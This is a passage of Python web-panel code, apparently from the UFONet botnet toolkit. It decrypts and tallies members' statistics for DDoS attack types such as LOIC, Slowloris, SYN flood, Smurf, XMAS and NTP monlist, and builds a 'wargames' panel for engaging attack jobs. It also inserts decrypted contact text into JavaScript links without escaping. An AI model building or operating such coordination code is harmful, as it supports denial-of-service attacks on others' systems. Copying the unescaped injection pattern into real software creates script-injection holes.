onclick=javascript:GridFilter('missions','"+str(grid_key)+"')>MISSIONS:</a></td><td align='center'><a id='filter_attacks' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('attacks','"+str(grid_key)+"')>ATTACKS:</a></td><td align='center'><a id='filter_loic' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loic','"+str(grid_key)+"')>LOIC:</a></td><td align='center'><a id='filter_loris' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loris','"+str(grid_key)+"')>LORIS:</a></td><td align='center'><a id='filter_ufosyn' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ufosyn','"+str(grid_key)+"')>UFOSYN:</a></td><td align='center'><a id='filter_spray' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('spray','"+str(grid_key)+"')>SPRAY:</a></td><td align='center'><a id='filter_smurf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('smurf','"+str(grid_key)+"')>SMURF:</a></td><td align='center'><a id='filter_xmas' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('xmas','"+str(grid_key)+"')>XMAS:</a></td><td align='center'><a id='filter_nuke' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('nuke','"+str(grid_key)+"')>NUKE:</a></td><td align='center'><a id='filter_tachyon' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('tachyon','"+str(grid_key)+"')>TACHYON:</a></td><td align='center'><a id='filter_monlist' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('monlist','"+str(grid_key)+"')>MONLIST:</a></td><td align='center'><a id='filter_contact' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('contact','"+str(grid_key)+"')>CONTACT:</a></td></tr>"
  4400. grid_key = pGet["grid_key"]
  4401. f = open("/tmp/out", "w")
  4402. self.list_grid_rev = reversed(self.list_grid) # order by DESC
  4403. for m in self.list_grid_rev: # rev(msg) = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist, contact, ID
  4404. if grid_msg_sep in m:
  4405. version = m.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2|14->1.2.1|15->1.3|16->1.4)
  4406. m = m.split(grid_msg_sep)
  4407. mothership_members = mothership_members + 1 # add new registered member to mothership stats
  4408. grid_nickname = m[0] # nickname
  4409. self.decrypt(grid_key, grid_nickname)
  4410. if self.decryptedtext:
  4411. grid_nickname = self.decryptedtext
  4412. else:
  4413. grid_nickname = nodec_text
  4414. unknown_members = unknown_members + 1 # add members as unknown
  4415. self.decryptedtext = "" # clean decryptedtext buffer
  4416. if len(grid_nickname) > 12 or len(grid_nickname) < 3: # m[0] = grid_nickname (>str3<str12)
  4417. grid_nickname = "Anonymous"
  4418. else:
  4419. grid_nickname = str(grid_nickname) # nickname
  4420. grid_ranking = m[1] # ranking
  4421. self.decrypt(grid_key, grid_ranking)
  4422. if self.decryptedtext:
  4423. try:
  4424. grid_ranking = int(self.decryptedtext)
  4425. except:
  4426. grid_ranking = nodec_text
  4427. else:
  4428. grid_ranking = nodec_text
  4429. self.decryptedtext = "" # clean decryptedtext buffer
  4430. if grid_ranking == 1: #Rookie
  4431. grid_ranking = "<font color='white' size='4'>*</font>"
  4432. member_1 = member_1 + 1
  4433. elif grid_ranking == 2: # Mercenary
  4434. grid_ranking = "<font color='cyan' size='4'>**</font>"
  4435. member_2 = member_2 + 1
  4436. elif grid_ranking == 3: # Bandit
  4437. grid_ranking = "<font color='blueviolet' size='4'>***</font>"
  4438. member_3 = member_3 + 1
  4439. elif grid_ranking == 4: # UFOmmander!
  4440. grid_ranking = "<font color='blue' size='4'>****</font>"
  4441. member_4 = member_4 + 1
  4442. elif grid_ranking == 5: # UFOl33t!
  4443. grid_ranking = "<font color='red' size='4'>&#x25BC;</font>"
  4444. member_5 = member_5 + 1
  4445. else:
  4446. grid_ranking = nodec_text
  4447. grid_totalchargo = m[2] # total chargo
  4448. self.decrypt(grid_key, grid_totalchargo)
  4449. if self.decryptedtext:
  4450. grid_totalchargo = self.decryptedtext
  4451. else:
  4452. grid_totalchargo = nodec_text
  4453. self.decryptedtext = "" # clean decryptedtext buffer
  4454. try: # parse for int
  4455. grid_totalchargo = int(grid_totalchargo)
  4456. mothership_chargo = mothership_chargo + grid_totalchargo
  4457. except:
  4458. grid_totalchargo = nodec_text
  4459. grid_dorking = m[3] # dorking
  4460. self.decrypt(grid_key, grid_dorking)
  4461. if self.decryptedtext:
  4462. grid_dorking = self.decryptedtext
  4463. else:
  4464. grid_dorking = nodec_text
  4465. self.decryptedtext = "" # clean decryptedtext buffer
  4466. try: # parse for int
  4467. grid_dorking = int(grid_dorking)
  4468. mothership_dorking = mothership_dorking + grid_dorking
  4469. except:
  4470. grid_dorking = nodec_text
  4471. grid_transferred = m[4] # transferred
  4472. self.decrypt(grid_key, grid_transferred)
  4473. if self.decryptedtext:
  4474. grid_transferred = self.decryptedtext
  4475. else:
  4476. grid_transferred = nodec_text
  4477. self.decryptedtext = "" # clean decryptedtext buffer
  4478. try: # parse for int
  4479. grid_transferred = int(grid_transferred)
  4480. mothership_transferred = mothership_transferred + grid_transferred
  4481. except:
  4482. grid_transferred = nodec_text
  4483. grid_maxchargo = m[5] # maxchargo
  4484. self.decrypt(grid_key, grid_maxchargo)
  4485. if self.decryptedtext:
  4486. grid_maxchargo = self.decryptedtext
  4487. else:
  4488. grid_maxchargo = nodec_text
  4489. self.decryptedtext = "" # clean decryptedtext buffer
  4490. try: # parse for int
  4491. grid_maxchargo = int(grid_maxchargo)
  4492. mothership_maxchargo = mothership_maxchargo + grid_maxchargo
  4493. except:
  4494. grid_maxchargo = nodec_text
  4495. grid_missions = m[6] # missions
  4496. self.decrypt(grid_key, grid_missions)
  4497. if self.decryptedtext:
  4498. grid_missions = self.decryptedtext
  4499. else:
  4500. grid_missions = nodec_text
  4501. self.decryptedtext = "" # clean decryptedtext buffer
  4502. try: # parse for int
  4503. grid_missions = int(grid_missions)
  4504. mothership_missions = mothership_missions + grid_missions
  4505. except:
  4506. grid_missions = nodec_text
  4507. grid_attacks = m[7] # attacks
  4508. self.decrypt(grid_key, grid_attacks)
  4509. if self.decryptedtext:
  4510. grid_attacks = self.decryptedtext
  4511. else:
  4512. grid_attacks = nodec_text
  4513. self.decryptedtext = "" # clean decryptedtext buffer
  4514. try: # parse for int
  4515. grid_attacks = int(grid_attacks)
  4516. mothership_attacks = mothership_attacks + grid_attacks
  4517. except:
  4518. grid_attacks = nodec_text
  4519. grid_loic = m[8] # loic
  4520. self.decrypt(grid_key, grid_loic)
  4521. if self.decryptedtext:
  4522. grid_loic = self.decryptedtext
  4523. else:
  4524. grid_loic = nodec_text
  4525. self.decryptedtext = "" # clean decryptedtext buffer
  4526. try: # parse for int
  4527. grid_loic = int(grid_loic)
  4528. mothership_loic = mothership_loic + grid_loic
  4529. except:
  4530. grid_loic = nodec_text
  4531. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12 or version == 11:
  4532. grid_loris = m[9] # loris
  4533. self.decrypt(grid_key, grid_loris)
  4534. if self.decryptedtext:
  4535. grid_loris = self.decryptedtext
  4536. else:
  4537. grid_loris = nodec_text
  4538. self.decryptedtext = "" # clean decryptedtext buffer
  4539. try: # parse for int
  4540. grid_loris = int(grid_loris)
  4541. mothership_loris = mothership_loris + grid_loris
  4542. except:
  4543. grid_loris = nodec_text
  4544. else:
  4545. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
  4546. self.decrypt(grid_key, grid_loris)
  4547. if self.decryptedtext:
  4548. grid_loris = self.decryptedtext
  4549. else:
  4550. grid_loris = nodec_text
  4551. self.decryptedtext = "" # clean decryptedtext buffer
  4552. try: # parse for int
  4553. grid_loris = int(grid_loris)
  4554. mothership_loris = mothership_loris + grid_loris
  4555. except:
  4556. grid_loris = nodec_text
  4557. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12:
  4558. grid_ufosyn = m[10] # ufosyn
  4559. self.decrypt(grid_key, grid_ufosyn)
  4560. if self.decryptedtext:
  4561. grid_ufosyn = self.decryptedtext
  4562. else:
  4563. grid_ufosyn = nodec_text
  4564. self.decryptedtext = "" # clean decryptedtext buffer
  4565. try: # parse for int
  4566. grid_ufosyn = int(grid_ufosyn)
  4567. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  4568. except:
  4569. grid_ufosyn = nodec_text
  4570. else:
  4571. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  4572. self.decrypt(grid_key, grid_ufosyn)
  4573. if self.decryptedtext:
  4574. grid_ufosyn = self.decryptedtext
  4575. else:
  4576. grid_ufosyn = nodec_text
  4577. self.decryptedtext = "" # clean decryptedtext buffer
  4578. try: # parse for int
  4579. grid_ufosyn = int(grid_ufosyn)
  4580. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  4581. except:
  4582. grid_ufosyn = nodec_text
  4583. if version > 17 or version == 17 or version == 16 or version == 15:
  4584. grid_spray = m[11] # spray
  4585. self.decrypt(grid_key, grid_spray)
  4586. if self.decryptedtext:
  4587. grid_spray = self.decryptedtext
  4588. else:
  4589. grid_spray = nodec_text
  4590. self.decryptedtext = "" # clean decryptedtext buffer
  4591. try: # parse for int
  4592. grid_spray = int(grid_spray)
  4593. mothership_spray = mothership_spray + grid_spray
  4594. except:
  4595. grid_spray = nodec_text
  4596. else:
  4597. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  4598. self.decrypt(grid_key, grid_spray)
  4599. if self.decryptedtext:
  4600. grid_spray = self.decryptedtext
  4601. else:
  4602. grid_spray = nodec_text
  4603. self.decryptedtext = "" # clean decryptedtext buffer
  4604. try: # parse for int
  4605. grid_spray = int(grid_spray)
  4606. mothership_spray = mothership_spray + grid_spray
  4607. except:
  4608. grid_spray = nodec_text
  4609. if version > 17 or version == 17 or version == 16 or version == 15:
  4610. grid_smurf = m[12] # smurf
  4611. self.decrypt(grid_key, grid_smurf)
  4612. if self.decryptedtext:
  4613. grid_smurf = self.decryptedtext
  4614. else:
  4615. grid_smurf = nodec_text
  4616. self.decryptedtext = "" # clean decryptedtext buffer
  4617. try: # parse for int
  4618. grid_smurf = int(grid_smurf)
  4619. mothership_smurf = mothership_smurf + grid_smurf
  4620. except:
  4621. grid_smurf = nodec_text
  4622. else:
  4623. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  4624. self.decrypt(grid_key, grid_smurf)
  4625. if self.decryptedtext:
  4626. grid_smurf = self.decryptedtext
  4627. else:
  4628. grid_smurf = nodec_text
  4629. self.decryptedtext = "" # clean decryptedtext buffer
  4630. try: # parse for int
  4631. grid_smurf = int(grid_smurf)
  4632. mothership_smurf = mothership_smurf + grid_smurf
  4633. except:
  4634. grid_smurf = nodec_text
  4635. if version > 17 or version == 17 or version == 16 or version == 15:
  4636. grid_xmas = m[13] # xmas
  4637. self.decrypt(grid_key, grid_xmas)
  4638. if self.decryptedtext:
  4639. grid_xmas = self.decryptedtext
  4640. else:
  4641. grid_xmas = nodec_text
  4642. self.decryptedtext = "" # clean decryptedtext buffer
  4643. try: # parse for int
  4644. grid_xmas = int(grid_xmas)
  4645. mothership_xmas = mothership_xmas + grid_xmas
  4646. except:
  4647. grid_xmas = nodec_text
  4648. else:
  4649. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  4650. self.decrypt(grid_key, grid_xmas)
  4651. if self.decryptedtext:
  4652. grid_xmas = self.decryptedtext
  4653. else:
  4654. grid_xmas = nodec_text
  4655. self.decryptedtext = "" # clean decryptedtext buffer
  4656. try: # parse for int
  4657. grid_xmas = int(grid_xmas)
  4658. mothership_xmas = mothership_xmas + grid_xmas
  4659. except:
  4660. grid_xmas = nodec_text
  4661. if version > 17 or version == 17 or version == 16:
  4662. grid_nuke = m[14] # nuke
  4663. self.decrypt(grid_key, grid_nuke)
  4664. if self.decryptedtext:
  4665. grid_nuke = self.decryptedtext
  4666. else:
  4667. grid_nuke = nodec_text
  4668. self.decryptedtext = "" # clean decryptedtext buffer
  4669. try: # parse for int
  4670. grid_nuke = int(grid_nuke)
  4671. mothership_nuke = mothership_nuke + grid_nuke
  4672. except:
  4673. grid_nuke = nodec_text
  4674. else:
  4675. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  4676. self.decrypt(grid_key, grid_nuke)
  4677. if self.decryptedtext:
  4678. grid_nuke = self.decryptedtext
  4679. else:
  4680. grid_nuke = nodec_text
  4681. self.decryptedtext = "" # clean decryptedtext buffer
  4682. try: # parse for int
  4683. grid_nuke = int(grid_nuke)
  4684. mothership_nuke = mothership_nuke + grid_nuke
  4685. except:
  4686. grid_nuke = nodec_text
  4687. if version > 17 or version == 17:
  4688. grid_tachyon = m[15] # tachyon
  4689. self.decrypt(grid_key, grid_tachyon)
  4690. if self.decryptedtext:
  4691. grid_tachyon = self.decryptedtext
  4692. else:
  4693. grid_tachyon = nodec_text
  4694. self.decryptedtext = "" # clean decryptedtext buffer
  4695. try: # parse for int
  4696. grid_tachyon = int(grid_tachyon)
  4697. mothership_tachyon = mothership_tachyon + grid_tachyon
  4698. except:
  4699. grid_tachyon = nodec_text
  4700. else:
  4701. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
  4702. self.decrypt(grid_key, grid_tachyon)
  4703. if self.decryptedtext:
  4704. grid_tachyon = self.decryptedtext
  4705. else:
  4706. grid_tachyon = nodec_text
  4707. self.decryptedtext = "" # clean decryptedtext buffer
  4708. try: # parse for int
  4709. grid_tachyon = int(grid_tachyon)
  4710. mothership_tachyon = mothership_tachyon + grid_tachyon
  4711. except:
  4712. grid_tachyon = nodec_text
  4713. if version > 17:
  4714. grid_monlist = m[16] # monlist
  4715. self.decrypt(grid_key, grid_monlist)
  4716. if self.decryptedtext:
  4717. grid_monlist = self.decryptedtext
  4718. else:
  4719. grid_monlist = nodec_text
  4720. self.decryptedtext = "" # clean decryptedtext buffer
  4721. try: # parse for int
  4722. grid_monlist = int(grid_monlist)
  4723. mothership_monlist = mothership_monlist + grid_monlist
  4724. except:
  4725. grid_monlist = nodec_text
  4726. else:
  4727. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not monlist present
  4728. self.decrypt(grid_key, grid_monlist)
  4729. if self.decryptedtext:
  4730. grid_monlist = self.decryptedtext
  4731. else:
  4732. grid_monlist = nodec_text
  4733. self.decryptedtext = "" # clean decryptedtext buffer
  4734. try: # parse for int
  4735. grid_monlist = int(grid_monlist)
  4736. mothership_monlist = mothership_monlist + grid_monlist
  4737. except:
  4738. grid_monlist = nodec_text
  4739. if version > 17:
  4740. grid_contact = m[17] # contact
  4741. self.decrypt(grid_key, grid_contact)
  4742. if self.decryptedtext:
  4743. grid_contact = self.decryptedtext
  4744. else:
  4745. grid_contact = nodec_text
  4746. self.decryptedtext = "" # clean decryptedtext buffer
  4747. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[17] = grid_contact (>str3<str120)
  4748. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4749. else:
  4750. try:
  4751. if " " in grid_contact: # m[17] = grid_contact
  4752. grid_contact = grid_contact.replace(" ","")
  4753. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4754. except:
  4755. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4756. try:
  4757. grid_id = m[18] # id
  4758. except:
  4759. grid_id = '6666666666666666666666666666666666666' # fake id
  4760. elif version == 17:
  4761. grid_contact = m[16] # contact
  4762. self.decrypt(grid_key, grid_contact)
  4763. if self.decryptedtext:
  4764. grid_contact = self.decryptedtext
  4765. else:
  4766. grid_contact = nodec_text
  4767. self.decryptedtext = "" # clean decryptedtext buffer
  4768. grid_contact = str(grid_contact) # contact
  4769. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[16] = grid_contact (>str3<str120)
  4770. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4771. else:
  4772. try:
  4773. if " " in grid_contact: # m[16] = grid_contact
  4774. grid_contact = grid_contact.replace(" ","")
  4775. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4776. except:
  4777. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4778. try:
  4779. grid_id = m[17] # id
  4780. except:
  4781. grid_id = '6666666666666666666666666666666666666' # fake id
  4782. elif version == 16:
  4783. grid_contact = m[15] # contact
  4784. self.decrypt(grid_key, grid_contact)
  4785. if self.decryptedtext:
  4786. grid_contact = self.decryptedtext
  4787. else:
  4788. grid_contact = nodec_text
  4789. self.decryptedtext = "" # clean decryptedtext buffer
  4790. grid_contact = str(grid_contact) # contact
  4791. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[15] = grid_contact (>str3<str120)
  4792. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4793. else:
  4794. try:
  4795. if " " in grid_contact: # m[15] = grid_contact
  4796. grid_contact = grid_contact.replace(" ","")
  4797. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4798. except:
  4799. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4800. try:
  4801. grid_id = m[16] # id
  4802. except:
  4803. grid_id = '6666666666666666666666666666666666666' # fake id
  4804. elif version == 15:
  4805. grid_contact = m[14] # contact
  4806. self.decrypt(grid_key, grid_contact)
  4807. if self.decryptedtext:
  4808. grid_contact = self.decryptedtext
  4809. else:
  4810. grid_contact = nodec_text
  4811. self.decryptedtext = "" # clean decryptedtext buffer
  4812. grid_contact = str(grid_contact) # contact
  4813. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[14] = grid_contact (>str3<str120)
  4814. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4815. else:
  4816. try:
  4817. if " " in grid_contact: # m[14] = grid_contact
  4818. grid_contact = grid_contact.replace(" ","")
  4819. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4820. except:
  4821. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4822. try:
  4823. grid_id = m[15] # id
  4824. except:
  4825. grid_id = '6666666666666666666666666666666666666' # fake id
  4826. elif version == 12:
  4827. grid_contact = m[11] # contact
  4828. self.decrypt(grid_key, grid_contact)
  4829. if self.decryptedtext:
  4830. grid_contact = self.decryptedtext
  4831. else:
  4832. grid_contact = nodec_text
  4833. self.decryptedtext = "" # clean decryptedtext buffer
  4834. grid_contact = str(grid_contact) # contact
  4835. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[11] = grid_contact (>str3<str120)
  4836. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4837. else:
  4838. try:
  4839. if " " in grid_contact: # m[11] = grid_contact
  4840. grid_contact = grid_contact.replace(" ","")
  4841. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4842. except:
  4843. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4844. try:
  4845. grid_id = m[12] # id
  4846. except:
  4847. grid_id = '6666666666666666666666666666666666666' # fake id
  4848. elif version == 11:
  4849. grid_contact = m[10] # contact
  4850. self.decrypt(grid_key, grid_contact)
  4851. if self.decryptedtext:
  4852. grid_contact = self.decryptedtext
  4853. else:
  4854. grid_contact = nodec_text
  4855. self.decryptedtext = "" # clean decryptedtext buffer
  4856. grid_contact = str(grid_contact) # contact
  4857. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[10] = grid_contact (>str3<str120)
  4858. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4859. else:
  4860. try:
  4861. if " " in grid_contact: # m[10] = grid_contact
  4862. grid_contact = grid_contact.replace(" ","")
  4863. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4864. except:
  4865. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4866. try:
  4867. grid_id = m[11] # id
  4868. except:
  4869. grid_id = '6666666666666666666666666666666666666' # fake id
  4870. elif version == 10:
  4871. grid_contact = m[9] # contact
  4872. self.decrypt(grid_key, grid_contact)
  4873. if self.decryptedtext:
  4874. grid_contact = self.decryptedtext
  4875. else:
  4876. grid_contact = nodec_text
  4877. self.decryptedtext = "" # clean decryptedtext buffer
  4878. grid_contact = str(grid_contact) # contact
  4879. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[9] = grid_contact (>str3<str120)
  4880. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4881. else:
  4882. try:
  4883. if " " in grid_contact: # m[9] = grid_contact
  4884. grid_contact = grid_contact.replace(" ","")
  4885. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4886. except:
  4887. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4888. try:
  4889. grid_id = m[10] # id
  4890. except:
  4891. grid_id = '6666666666666666666666666666666666666' # fake id
  4892. else:
  4893. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4894. grid_id = '6666666666666666666666666666666666666' # fake id
  4895. try: # parsing for valid stream struct
  4896. grid_ranking = str(grid_ranking)
  4897. if grid_ranking == nodec_text: # hide any data when user is encrypted
  4898. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>"
  4899. grid_table += "<tr><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  4900. else:
  4901. grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_ufosyn)+"</td><td align='center'>"+str(grid_spray)+"</td><td align='center'>"+str(grid_smurf)+"</td><td align='center'>"+str(grid_xmas)+"</td><td align='center'>"+str(grid_nuke)+"</td><td align='center'>"+str(grid_tachyon)+"</td><td align='center'>"+str(grid_monlist)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  4902. except:
  4903. grid_table += "<tr><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td></tr>"
  4904. grid_table += "</table><br>"
  4905. l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
  4906. mother_table = "<center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td><font color='green'>MEMBERS:</font></td><td align='right'><font color='green'>"+str(mothership_members)+"</font></td><td><font color='orange' size='4'>-</font></td><td align='right'><font color='orange' size='4'>"+str(unknown_members)+"</font></td><td><font color='white' size='4'>*</font></td><td align='right'><font color='white' size='4'>"+str(member_1)+"</font></td><td><font color='cyan' size='4'>**</font></td><td align='right'><font color='cyan' size='4'>"+str(member_2)+"</font></td><td><font color='blueviolet' size='4'>***</font></td><td align='right'><font color='blueviolet' size='4'>"+str(member_3)+"</font></td><td><font color='blue' size='4'>****</font></td><td align='right'><font color='blue' size='4'>"+str(member_4)+"</font></td><td><font color='red' size='4'>&#x25BC;</font></td><td align='right'><font color='red' size='4'>"+str(member_5)+"</font></td></tr></table><br><table cellpadding='5' cellspacing='5' border='1'><tr><td>MISSIONS:</td><td align='right'>"+str(mothership_missions)+"</td><td>ATTACKS:</td><td align='right'>"+str(mothership_attacks)+"</td><td>CHARGO (ACTIVE!):</td><td align='right'>"+str(mothership_chargo)+"</td><td>DORKING:</td><td align='right'>"+str(mothership_dorking)+"</td><td>TRANSF:</td><td align='right'>"+str(mothership_transferred)+"</td><td>MAX.CHARGO:</td><td align='right'>"+str(mothership_maxchargo)+"</td></tr></table><br><table cellpadding='5' cellspacing='5' border='1'><tr><td>LOIC:</td><td align='right'>"+str(mothership_loic)+"</td><td>LORIS:</td><td align='right'>"+str(mothership_loris)+"</td><td>UFOSYN:</td><td align='right'>"+str(mothership_ufosyn)+"</td><td>SPRAY:</td><td align='right'>"+str(mothership_spray)+"</td><td>SMURF:</td><td align='right'>"+str(mothership_smurf)+"</td></tr><tr><td>XMAS:</td><td align='right'>"+str(mothership_xmas)+"</td><td>NUKE:</td><td align='right'>"+str(mothership_nuke)+"</td><td>TACHYON:</td><td align='right'>"+str(mothership_tachyon)+"</td><td>MONLIST:</td><td align='right'>"+str(mothership_monlist)+"</td></tr></table><br><hr><br>"
  4907. f.write(mother_table)
  4908. f.write(grid_table)
  4909. f.write(end_mark)
  4910. f.close()
  4911. else: # not valid stream data
  4912. pass
  4913. if page == "/cmd_decrypt_grid_update":
  4914. if not os.path.exists('/tmp/out'):
  4915. open('/tmp/out', 'w').close()
  4916. with open('/tmp/out', 'r') as f:
  4917. self.pages["/cmd_decrypt_grid_update"] = "<pre>"+f.read()+"<pre>"
  4918. if page == "/cmd_decrypt_wargames":
  4919. self.pages["/cmd_decrypt_wargames"] = "<pre>Waiting for decrypting results...</pre>"
  4920. wargames_join_flag = False # anti-join flag for non decrypted wargames
  4921. try:
  4922. wargames_deckey = pGet["wargames_deckey"]
  4923. except:
  4924. wargames_deckey = ""
  4925. end_mark = "[Info] [AI] End of decryption."
  4926. if wargames_deckey is not "": # wargames decryption
  4927. nodec_text = "KEY?"
  4928. try: # read global army supply from configuration file (json)
  4929. with open(self.mothership_supplycfg_file) as data_file:
  4930. data = json.load(data_file)
  4931. except:
  4932. if os.path.exists(self.mothership_supplycfg_file) == True:
  4933. print('[Error] [AI] Cannot open: "core/json/supplycfg.json" -> [Aborting!]\n')
  4934. return
  4935. else: # generate default global army supply configuration file
  4936. print('[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]')
  4937. with open(self.mothership_supplycfg_file, "w") as f:
  4938. json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0, "monlist": 0}, f, indent=4)
  4939. with open(self.mothership_supplycfg_file) as data_file:
  4940. data = json.load(data_file)
  4941. self.supply_botnet = data["botnet"]
  4942. self.supply_loic = data["loic"]
  4943. self.supply_loris = data["loris"]
  4944. self.supply_ufosyn = data["ufosyn"]
  4945. self.supply_spray = data["spray"]
  4946. self.supply_smurf = data["smurf"]
  4947. self.supply_xmas = data["xmas"]
  4948. self.supply_nuke = data["nuke"]
  4949. self.supply_tachyon = data["tachyon"]
  4950. self.supply_monlist = data["monlist"]
  4951. f = open(self.wargames_file,"r")
  4952. ls = f.readlines()
  4953. f.close()
  4954. if ls:
  4955. wargames_autopanel = "<u>MASSIVE ACTION</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><button title='Remove ALL: -CLOSED-' onclick=JobRemoveAll('"+str(wargames_deckey)+"')>-PURGE-</button></td><td align='center'><button style='background-color:cyan;height:50px;width:120px' title='Engage ALL: -ONGOING-' onclick=JobAddAll()>ENGAGE ALL!</button></td><td align='center'><button style='background-color:red;height:50px;width:120px' title='Cancel ALL: JOINED!' onclick=JobCancelAll()>PANIC!!!</button></td></tr></table><br><br>"
